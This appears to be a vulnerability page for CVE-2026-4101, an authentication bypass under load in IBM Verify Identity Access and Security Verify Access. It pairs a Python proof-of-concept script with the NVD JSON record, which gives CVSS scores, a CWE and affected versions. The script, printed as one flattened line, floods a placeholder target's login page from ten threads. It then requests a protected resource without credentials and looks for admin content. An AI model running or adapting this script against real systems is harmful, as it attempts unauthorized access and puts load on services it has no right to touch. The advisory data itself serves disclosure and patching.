CVE-2026-4101

import requests import threading import time # Target URL (Replace with actual target) target_url = "https://target-app.com/protected/resource" # Simulate load to trigger the race condition or load state def generate_load(): while True: try: requests.get("https://target-app.com/login") except: pass # Attempt to bypass authentication during load def attempt_bypass(): # Send request without authentication cookies or headers try: response = requests.get(target_url) if response.status_code == 200 and "admin" in response.text: print("[+] Potential Authentication Bypass Successful!") print(response.text[:200]) else: print("[-] Bypass failed or access denied") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Start load generation threads threads = [] for i in range(10): t = threading.Thread(target=generate_load) t.daemon = True t.start() threads.append(t) print("[*] Generating load and attempting bypass...") time.sleep(2) # Wait for load to build up attempt_bypass()

{"cve": {"id": "CVE-2026-4101", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:02.417", "lastModified": "2026-04-07T16:34:52.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 under certain load conditions could allow an attacker to bypass authentication mechanisms and gain unauthorized access to the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "11212874-804C-42B2-AF5F-116F5C367237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}